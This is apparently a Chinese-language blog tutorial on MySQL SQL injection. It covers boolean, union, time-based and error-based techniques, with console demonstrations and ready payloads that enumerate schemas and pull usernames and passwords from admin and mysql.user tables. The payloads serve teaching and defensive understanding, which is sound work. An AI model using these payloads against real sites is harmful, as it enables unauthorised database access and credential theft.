基础知识

SQL注入是不安全的操作被带入到数据库中。
SQL注入可以分为int类型和string类型。
1) int类型

"select name from students where id = $_GET['id']"

这是一个典型的未经任何过滤的注入,如果用户提交id=-1 union select user() ,将返回当前用户。
2) string类型

"select name from students where area = '$_GET['area']'"

string型注入需要使用单/双引号闭合语句。如area=%27 union select user()%23
在此基础上衍生出报错注入,延时注入,联合注入,编码注入,

Boolean-based

首先不得不讲SQL中的AND和OR
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
AND:返回第一个条件和第二个条件都成立的记录。
OR:返回满足第一个条件或第二个条件的记录。
AND和OR即为集合论中的交集和并集

mysql> select * from students;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

思考以下语句:
1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)  

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)  

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)  

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)  

如果你足够细心,你便会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种
这便是最基础的boolean注入,以此为基础你可以自由组合语句,如
字典爆破流
and exists(select * from ?) //?为猜测的表名
and exists(select ? from x) //?为猜测的列名
截取二分流
and (length((select schema_name from information_schema.schemata limit 1))>?) //判断数据库名的长度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?') //利用二分法判断第一个字符
真爱生命,使用脚本

Union

比起多重嵌套的boolean注入,union注入相对轻松。因为,union注入可以直接返回信息而不是布尔值。
1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //数据库名  
+--------------------+
| name               |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| rumRaisin          |
| t3st               |
| test               |
+--------------------+
6 rows in set (0.00 sec)  

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名
+----------+
| name     |
+----------+
| master   |
| students |
+----------+
2 rows in set (0.00 sec)  

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名
+------+
| name |
+------+
| id   |
| name |
| age  |
+------+
3 rows in set (0.00 sec)  

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。所以你如果想要使用union查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户。
猜测列数

union select 1
union select 1,2
union select 1,2,3
//直到页面正常显示  

Time-based

mysql> select name from students where id = 10056 or (select * from (select(sleep(5)))A) ;
+-------+
| name  |
+-------+
| Doris |
+-------+
1 row in set (5.00 sec)  

显然我们经过了5s的延迟才返回了数据结果。

我们可以结合if语句来进行延时注入

mysql> select name from students where id = 10056 and if (exists(select * from students),sleep(3),1) ;
Empty set (3.00 sec)

Error-based

根据错误信息提取数据:)

mysql> select name from students where id = 10056 and (select ~0+!(select*from(select user())x)) ;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

常见手法剖析

1.

exists() 猜测表名
and exists(select * from 猜测的表名)

exists() 猜测字段的名称
and exists(select 猜测的字段名称 from 表名)
原理 exists 语句判断是否有结果集返回

查看返回内容 如果报错则不存在该表 因此可以得出表的名称

2.

order by 可以猜测字段的数目 也可通过order by 字段名 猜字段
原理 select * from article where id=5 order by date;
order by 为对select产生的结果集进行排序 两种语法:order by 字段名称
order by 字段序号(自左向右从1开始)

http://www.demo.com/about/index.php?id=22 order by 1
http://www.demo.com/about/index.php?id=22 order by 2
http://www.demo.com/about/index.php?id=22 order by 3

3.

select count() from admin 猜测记录数
and 0<(select count(
) from admin)
通过判断记录的数目是否大于给定值X来进行猜解 直至报错则就的到了表段的记录数 http://www.demo.com/news/index.php?id=2 and X<(select count (*) from admin)

原理
SQL语句 select count(*) from 表名 可查询表中纪录的数目 例如

mysql> select count(*) from member;


+-------------+
| count(*) |
+-------------+
|   4    |
+-------------+

4.

len() length() 猜测字段名称 mysql中使用length函数
url and 1=((select count() from admin where len(猜测字段名称) )>0)
括号里面是与零比较后得到的布尔值 and (select count(
) from 表名 where length(字段名称))

原理 len() 或 length() 函数可以返回内容长度大小的结果集 当然前提是有这个表
例如

mysql> select length(name) from member;

+--------------------+
| length(name) |
+--------------------+
|       3    |
|       4    |
|       3    |
|       3    |
+--------------------+

5.

猜测某一字段中某一条记录的长度 url and (select top 1 len(username) from admin)>X
url and (select length(username) from admin limit 1)>X
查看返回页面

原理 利用top或limit函数来取第一条记录 length函数获取内容的长度 Limit m,n m标识从第几条记录开始(从0) n表示返回多少条记录

mysql> select length(username) from admin limit 2;

+----------------------------+
| length(username)  |
+-----------------------------+
|         5       |
|         7       | 
+-----------------------------+
6.

猜解记录内容 and 1=(select count() from admin where left(name,1)=a) --猜解用户帐号的第一位
and 1=(select count(
) from admin where left(name,2)=ab) --猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

原理: 返回满足 left(string,number) 的记录的数目

mysql> select count(*) from admin where left(username,5)='admin';
    +-------------+
    | count(*) |
    +--------------+
    |    1   |
    +--------------+

7.

union select 1,2,3,4,5 ……from 表名 猜测显示位
and 1=2 union select 1 from admin
and 1=2 union select 1,2 from admin
and 1=2 union select 1,2,3 from admin
直到显示出内容 则可以得到显示位

原理 union select 为联合查询 要求union 两侧的查询字段数目要相同

mysql> select username,passwd from admin union select 1 from login;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

mysql> select username,passwd from admin union select 1,2 from login;
+----------------+-----------+
| username | passwd |
+----------------+-----------+
| admin    | 123456 |
| webuser  | 123456 |
| 1        | 2      |
+----------------+------------+

使用 and 1=2 则会只返回 union select 的内容,也就是我们想要的内容

mysql> select username,passwd from admin where username='admin'and 1=2 union sel
ect 1,2 from login;
+---------------+------------+
| username | passwd |
+--------------+-------------+
| 1       | 2      |
+----------------+----------+

注入时有可能会碰到有显示位,却无法显示结果的情况 这是由于union联合的两个字段编码不同 可以用hex来解决 url and 1=2 union select hex(database()),2 from mysql.user

8.

利用 mysql.user 表进行非暴力注入得到数据库

select 1,concat(user,0x2323,password),2 from mysql.user 查看mysql的用户名和密码

9.

利用函数

and 1=2 union select database(),2 结合显示位来得到想要的内容 可以得到数据库的名称

and 1=2 union select user() 看用户信息

and 1=2 union select version() 看版本号

@@versioncomment 版本 @@datadir 读取数据库路径 @@basedir mysql安装路径 @@tmpdir 缓存文件路径 @@version 版本号 user() 用户名
current
user 当前用户名
sessionuser() 连接数据库的用户名
database() 当前所在的数据库
@@version
compileos 操作系统 @@versioncompilemachine x86 x32 systemuser() 系统用户名
@@systemtimezone 时区

10.

使用 mysql默认数据库 来进行非暴力查询

获得数据库的表名

mysql> select table_name from information_schema.tables 
where table_schema=0x74657374;(数据库名称的hex值)
+------------------+
| table_name |
+------------------+
| admin     |
| login      |
| news      |
| users      |
+------------------+

获得表中的字段名称

mysql> select column_name from information_schema.columns where table_schema=0x7
4657374 and table_name=0x61646D696E;     table_schema   数据库名称hex  table_name 表名的hex
+---------------------+
| column_name |
+---------------------+
| username    |
| passwd      |
+---------------------+

11.

使用concat 进行查询 http://www.demo.com/about/index.php?id=1 and 1=2 union select concat(id,0x2323,user,2323,pwd),2 from admin
可以在一个显示位 显示多个查询内容 0x2323(#)是用来分开多个内容的特定标识

kumiko

Read more posts by this author.

分享一下

查看评论